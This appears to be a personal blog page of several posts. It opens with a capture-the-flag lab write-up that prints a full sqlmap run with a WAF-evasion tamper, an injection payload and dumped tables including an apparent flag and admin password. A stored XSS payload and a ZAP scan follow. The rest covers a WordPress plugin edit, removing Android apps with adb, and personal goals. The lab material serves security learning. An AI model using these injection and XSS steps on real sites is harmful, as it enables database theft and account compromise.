The screenshot is intentionally cropped to not reveal the answers. What we can see that the search terms are transmitted in the URL as GET parameter. This makes using a tool like SQL map rather easy. So instead of manually dumping the database to look for the flag and admin password, we use SQL map.

Firt we start up burp and switch the proxy in the browser to burp. Then we reload the panel with a default search, like shoes. We send the request in the burp proxy to the intruder, where we can save ti to disk. This allows us to use the cookie of our session ect. with SQLmap.

sqlmap -r gift --dump-all --tamper=space2comment

-r gift points sqlmap to the file saved from burp. I named mine gift but you might have chosen a different name.

--dump-all asks it to dump all data it can find

--tamper=space2comment is a simple WAF evasion technique something hinted at in the challenge. If you forget it, sqlmap will suggest it too though.

While it is running, sqlmap will prompt you for input. See the full dump below for details.

root@ip-10-10-172-235:~# sqlmap -r gift --dump-all --tamper=space2comment
 ___ ___[(]_____ ___ ___  {1.2.4#stable}
|_ -| . [,]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 02:09:08

[02:09:08] [INFO] parsing HTTP request from 'gift'
[02:09:08] [INFO] loading tamper script 'space2comment'
[02:09:08] [INFO] testing connection to the target URL
[02:09:08] [INFO] testing if the target URL content is stable
[02:09:09] [INFO] target URL content is stable
[02:09:09] [INFO] testing if GET parameter 'search' is dynamic
[02:09:09] [INFO] confirming that GET parameter 'search' is dynamic
[02:09:09] [INFO] GET parameter 'search' is dynamic
[02:09:09] [WARNING] heuristic (basic) test shows that GET parameter 'search' might not be injectable
[02:09:09] [INFO] testing for SQL injection on GET parameter 'search'
[02:09:09] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[02:09:09] [WARNING] reflective value(s) found and filtering out
[02:09:09] [INFO] GET parameter 'search' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="James")
[02:09:09] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL' 
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] n
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[02:09:28] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[02:09:28] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[02:09:28] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[02:09:28] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[02:09:28] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[02:09:28] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[02:09:28] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[02:09:28] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[02:09:28] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[02:09:28] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[02:09:28] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[02:09:28] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[02:09:28] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[02:09:28] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)'
[02:09:28] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause (FLOOR)'
[02:09:28] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[02:09:28] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[02:09:28] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[02:09:28] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)'
[02:09:28] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)'
[02:09:28] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (EXP)'
[02:09:28] [INFO] testing 'MySQL >= 5.7.8 error-based - Parameter replace (JSON_KEYS)'
[02:09:28] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[02:09:28] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)'
[02:09:28] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)'
[02:09:28] [INFO] testing 'MySQL inline queries'
[02:09:28] [INFO] testing 'PostgreSQL inline queries'
[02:09:28] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[02:09:28] [INFO] testing 'MySQL > 5.0.11 stacked queries (comment)'
[02:09:28] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[02:09:28] [INFO] testing 'MySQL > 5.0.11 stacked queries (query SLEEP - comment)'
[02:09:28] [INFO] testing 'MySQL > 5.0.11 stacked queries (query SLEEP)'
[02:09:28] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)'
[02:09:28] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[02:09:28] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[02:09:28] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[02:09:28] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[02:09:28] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind'
[02:09:28] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind'
[02:09:28] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (comment)'
[02:09:28] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind (comment)'
[02:09:28] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[02:09:28] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind (query SLEEP)'
[02:09:28] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP - comment)'
[02:09:28] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind (query SLEEP - comment)'
[02:09:28] [INFO] testing 'MySQL <= 5.0.11 AND time-based blind (heavy query)'
[02:09:28] [INFO] testing 'MySQL <= 5.0.11 OR time-based blind (heavy query)'
[02:09:28] [INFO] testing 'MySQL <= 5.0.11 AND time-based blind (heavy query - comment)'
[02:09:28] [INFO] testing 'MySQL <= 5.0.11 OR time-based blind (heavy query - comment)'
[02:09:28] [INFO] testing 'MySQL >= 5.0.12 RLIKE time-based blind'
[02:09:29] [INFO] testing 'MySQL >= 5.0.12 RLIKE time-based blind (comment)'
[02:09:29] [INFO] testing 'MySQL >= 5.0.12 RLIKE time-based blind (query SLEEP)'
[02:09:29] [INFO] testing 'MySQL >= 5.0.12 RLIKE time-based blind (query SLEEP - comment)'
[02:09:29] [INFO] testing 'MySQL AND time-based blind (ELT)'
[02:09:29] [INFO] testing 'MySQL OR time-based blind (ELT)'
[02:09:29] [INFO] testing 'MySQL AND time-based blind (ELT - comment)'
[02:09:29] [INFO] testing 'MySQL OR time-based blind (ELT - comment)'
[02:09:29] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[02:09:29] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
[02:09:29] [INFO] testing 'Oracle AND time-based blind'
[02:09:29] [INFO] testing 'MySQL >= 5.1 time-based blind (heavy query) - PROCEDURE ANALYSE (EXTRACTVALUE)'
[02:09:29] [INFO] testing 'MySQL >= 5.1 time-based blind (heavy query - comment) - PROCEDURE ANALYSE (EXTRACTVALUE)'
[02:09:29] [INFO] testing 'MySQL >= 5.0.12 time-based blind - Parameter replace'
[02:09:29] [INFO] testing 'MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)'
[02:09:29] [INFO] testing 'MySQL <= 5.0.11 time-based blind - Parameter replace (heavy queries)'
[02:09:29] [INFO] testing 'MySQL time-based blind - Parameter replace (bool)'
[02:09:29] [INFO] testing 'MySQL time-based blind - Parameter replace (ELT)'
[02:09:29] [INFO] testing 'MySQL time-based blind - Parameter replace (MAKE_SET)'
[02:09:29] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[02:09:29] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[02:09:29] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[02:09:29] [INFO] target URL appears to have 2 columns in query
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y
[02:09:34] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms=mysql') 
[02:09:34] [INFO] testing 'MySQL UNION query (39) - 1 to 20 columns'
[02:09:34] [INFO] testing 'MySQL UNION query (39) - 21 to 40 columns'
[02:09:35] [INFO] testing 'MySQL UNION query (39) - 41 to 60 columns'
[02:09:35] [INFO] testing 'MySQL UNION query (39) - 61 to 80 columns'
[02:09:36] [INFO] testing 'MySQL UNION query (39) - 81 to 100 columns'
[02:09:36] [INFO] checking if the injection point on GET parameter 'search' is a false positive
[02:09:36] [INFO] heuristics detected web page charset 'ascii'
[02:09:36] [WARNING] parameter length constraining mechanism detected (e.g. Suhosin patch). Potential problems in enumeration phase can be expected
GET parameter 'search' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 195 HTTP(s) requests:
Parameter: search (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: search=shoes%' AND 1839=1839 AND '%'='
[02:09:43] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[02:09:43] [INFO] testing MySQL
[02:09:43] [WARNING] the back-end DBMS is not MySQL
[02:09:43] [INFO] testing Oracle
[02:09:43] [WARNING] the back-end DBMS is not Oracle
[02:09:43] [INFO] testing PostgreSQL
[02:09:43] [WARNING] the back-end DBMS is not PostgreSQL
[02:09:43] [INFO] testing Microsoft SQL Server
[02:09:43] [WARNING] the back-end DBMS is not Microsoft SQL Server
[02:09:43] [INFO] testing SQLite
[02:09:43] [INFO] confirming SQLite
[02:09:43] [INFO] actively fingerprinting SQLite
[02:09:43] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
[02:09:43] [INFO] sqlmap will dump entries of all tables from all databases now
[02:09:43] [INFO] fetching tables for database: 'SQLite_masterdb'
[02:09:43] [INFO] fetching number of tables for database 'SQLite_masterdb'
[02:09:43] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[02:09:43] [INFO] retrieved: 3
[02:09:43] [INFO] retrieved: users
[02:09:44] [INFO] retrieved: sequels
[02:09:45] [INFO] retrieved: hidden_table
[02:09:46] [INFO] retrieved: CREATE TABLE sequels (title text, kid text, age integer)
[02:09:54] [INFO] fetching entries for table 'sequels' in database 'SQLite_masterdb'
[02:09:54] [INFO] fetching number of entries for table 'sequels' in database 'SQLite_masterdb'
[02:09:54] [INFO] retrieved: 22
Database: SQLite_masterdb
Table: sequels
[22 entries]
| kid  | age  | title |

[02:09:54] [INFO] table 'SQLite_masterdb.sequels' dumped to CSV file '/root/.sqlmap/output/'
[02:09:54] [INFO] retrieved: CREATE TABLE hidden_table (flag text)
[02:10:00] [INFO] fetching entries for table 'hidden_table' in database 'SQLite_masterdb'
[02:10:00] [INFO] fetching number of entries for table 'hidden_table' in database 'SQLite_masterdb'
[02:10:00] [INFO] retrieved: 1
[02:10:00] [INFO] retrieved: thmfox{All_I_Want_for_Christmas_Is_You}
Database: SQLite_masterdb
Table: hidden_table
[1 entry]
| flag                                    |
| Here will be the flag                   |

[02:10:05] [INFO] table 'SQLite_masterdb.hidden_table' dumped to CSV file '/root/.sqlmap/output/'
[02:10:05] [INFO] retrieved: CREATE TABLE users (username text, password text)
[02:10:09] [INFO] fetching entries for table 'users' in database 'SQLite_masterdb'
[02:10:09] [INFO] fetching number of entries for table 'users' in database 'SQLite_masterdb'
[02:10:09] [INFO] retrieved: 1
[02:10:09] [INFO] retrieved: EhCNSWzzFP6sc7gB
[02:10:10] [INFO] retrieved: admin
Database: SQLite_masterdb
Table: users
[1 entry]
| username | password         |
| admin    | here password    |

[02:10:10] [INFO] table 'SQLite_masterdb.users' dumped to CSV file '/root/.sqlmap/output/'
[02:10:10] [WARNING] HTTP error codes detected during run:
400 (Bad Request) - 1 times
[02:10:10] [INFO] fetched data logged to text files under '/root/.sqlmap/output/'

[*] shutting down at 02:10:10

In the dump you find flag and password but I removed them of course.

Day 6 – Be careful what you wish on a Christmas night

Again we launch both boxes and pull the website up in the browser.

First we get a bit of a feeling for the app by adding a few items and using the search.

Then we try a basic XSS payload in the fields. <script>alert('1')</script>. In the search field, this already triggers.

In the url bar we can see the parameter.

The same payload can be used in the new book field. This results in a stored crosssite scripting. Every time you reload the site, a popup will come up.

For the next part we launch OWASP Zap and give it a moment to update after the starts. Then we start a automated scan of our target.

Basically ZAP finds the two vulnerabilities we already discussed above.

Reload the site again and have a look at what Zap added to the list. It is quite a verbose testing.

Excluding a Category from WordPress main page & RSS feed (quick & dirty)

I recently started a daily writing practice and while just using the existing blog, seemed to be the fastest way, I also did not want the posts in the main blog and RSS feed.

You can find the posts in Notebook category. By default, WordPress does not let you do that though.

Ultimate Category Excluder

The Ultimate Category Excluder (what a name) plugin lets you hide a category from the latest blog posts as well as RSS feeds. It is rather dimple to configure and does what it says it does.

It does however hide the category from all RSS feeds. I anted to have a feed for the category though, so people interested in following the notebook, could subscribe. It also allows for syndication like in Rixx notebook collection.

Quick & Dirty fix

My goal was to set this up quickly and I was already considering just running a hugo or other static generator. That would have taken quite a bit of time to properly set up as well though.

But then I found a post on the plugin’s support forums that describes a quick & dirty fix. In line 152 157 in /plugins/ultimate-category-excluder/ultimate-category-excluder.php change (EDIT: The line changed to 157 with the current version)

if ( $query->is_feed ) {


if ( $query->is_feed && !$query->is_archive ) {

It works and from a quick glance at the rest of the plugin’s code should not have further side effects.

That change still comes with one Drawback, I have to do it every time the plugin is updated and I can not rely on the integrity check for the plugin file since it always comes up as changed.

This can only be a short term solution and I would not recommend it for the use in customer projects. I hope excluding a category only from the main feed will be added as a feature to the plugin, but if it does not, I will eventually have to write my own solution.

Uninstalling Preinstalled Android Apps without root

On my Moto G6 every Update seems to re-enable the Outlook and linked-in in apps I disabled on purpose. You can not uninstall apps that have been installed by the manufacturer via the play store or app settings, only disable them.

So far I have been disabling them after each update but I have gotten quite annoyed by it and did a little bit of research to find out how to fully uninstall them.


What you need is the Android Developer Bridge (ADB) on your computer and you need to enable USB debugging on the phone.

I have used Windows in this guide but there is a great guide on how to set everything up in Windows, Mac & Linux over at XDA-Developers that walks you through the process.

USB Debugging on the Phone

If you haven’t enabled the Developer Mode on your phone yet, you have to navigate to Settings, then System -> About and scroll down to the buid number. Tap this 7 times to enable Developer mode.

Then You will find the Developer Settings in the Systems Settings menu. Go there and enable USB debugging.

ADB on Windows

Setting up ADB on Windows is straight forward. Download the latest ADB version, extract the files in the zip and navigate in Powershell to the extracted folder.

Tipp: You can hold down SHIFT when right-clicking in Explorer and use “Open Powershell here”

From here you can run the adb commands. Since we did not add the folder to the PATH we will have to preface the command with .\ to make it use the adb.exe in this folder.

If you follow this guide on a different OS or have ADB in your PATH you don’t have to use the .\

Connecting the Phone

Connect the phone via USB and double check that USB debugging is enabled.

Then you check for connected devices

.\adb devices                                  

This starts up the ADB service and lists connected devices

* daemon not running; starting now at tcp:5037
* daemon started successfully
List of devices attached
ZY322XXXX      unauthorized

On your phone you should get a pop-up asking you to confirm the ADB connection to the computer. After accepting it

.\adb devices                                  

Should list your device now not as unauthorized anymore.

List of devices attached
ZY322XXXX      device

Listing the Apps

.\adb shell pm list packages

Prints out a long list of all installed apps. You can use this list to find the full name of the apps you want to uninstall.


While you can uninstall most apps like linkedin and outlook you should be more careful with system apps.

Uninstalling the App

.\adb shell pm uninstall --user 0 [Package Name]

Will uninstall the app. So in my case I just had to issue

.\adb shell pm uninstall --user 0 com.microsoft.office.outlook


.\adb shell pm uninstall --user 0 com.linkedin.android

Once ADB returns with Success you can unplug your device and are done.

Remember to disable USB Debugging again in your Developer Settings.

Goals: April 2019

I’m usually not a huge fan of making resolutions because I get far too easy into the habit of letting them slip. Because everyone does, right?

But on the other hand, having no goals is not a good thing either. So I’m going to put a bit of pressure on myself by publicly declaring my (non work related) goals for the month.

Blog Stuff

Both as in blogging stuff as well as doing blog related stuff. So what exactly?

  • at least 2 more blog posts
  • make sure everything is GDPR compliant
  • write an about page
  • a few minor tweaks


I want to finish at least one book on my reading list and make progress on the others:

My reading List in a picture

The Go Programming Language – Donovan & Kernighan

A basic, but rather technical introduction to Go for people who already know how to program in other languages.

I’m using a lot tools written in Go for work and for a curious mind like me this leads to me wanting a better understanding of the language. Usually my brain is pretty roasted after taking care of the baby and work, so I don’t expect to make much progress in this one.

How to solve it – Polya

This is a classic and recommended read for everyone in scientific field or teachers.

Funnily enough it was recommended to me by my math teacher, the math professor while studying chemical biology and my math professor at the computer science classes. But the first two of them were so unlikable that I discarded pretty much everything they recommended. Not to my benefit.

I did read it in my first year of CS at the university and it is a great book. I’m rereading it with two goals in mind:

  • Getting a better grasp of English math terms (reading it in English now, not German as before)
  • Being reminded of the lessons for teachers, so I can explain things better once my daughter is old enough

New solutions for Cybersecurity – Shrobe, Shrier, Pentland

This is a collections of articles about Cybersecurity. I haven’t read anything in it yet, despite buying it close to the release early last year. It got mentioned quite positively in many security podcasts and conversations with colleagues.

There is not even a good reason why I have not read it yet, other than not finding the time for it.

Tribe of hackers – Carey, Jin

Here we have a interview collection with well known Hackers. I’m only in a few but so far it has been very interesting. Each interview is rather short so it fits my short time slots when the baby is busy rather well.


Mostly for reading along SciFi audio books. I’m currently at Ryk Browns Frontier sage. But of course an occasional smut book sneaks on there as well.

Wrap up Gaming side projects

I won’t go into details here but I have a rather high number of unfinished gaming related side projects. From updated websites to Star Citizen training modules. I really have to consolidate my commitments in that area. It is getting too much for my currently available free time.

Of course finishing things takes time, but if it goes well, I should have more free time again next month.

Fitness & Diet

I used to work out & train every day as kid and young adult, then dropped the habit when I went to university. It was not exactly a healthy life since about 3 years ago when I started regular workouts again.

But in the last 2 month, since my wife is back at work and I’m alone with the baby, I both lack opportunity and motivation for workouts. In addition I picked up some unhealthy eating habits.

I tried 5 min HIIT workouts last month but being sick for a week got me off track again. So, one more try this month!

Since I added about 3kg of extra weight in the last 2 month, I’ll also put myself on an intermittent fasting once more. It already served me well when getting back into shape 3 years ago.

Will it work?

I have no clue, but it does not seem unrealistic at least. I do need more focus on my goals in my life so this is a start. I’ll tell you in a month how it went.


Page 1 of 2

Powered by WordPress & Theme by Anders Norén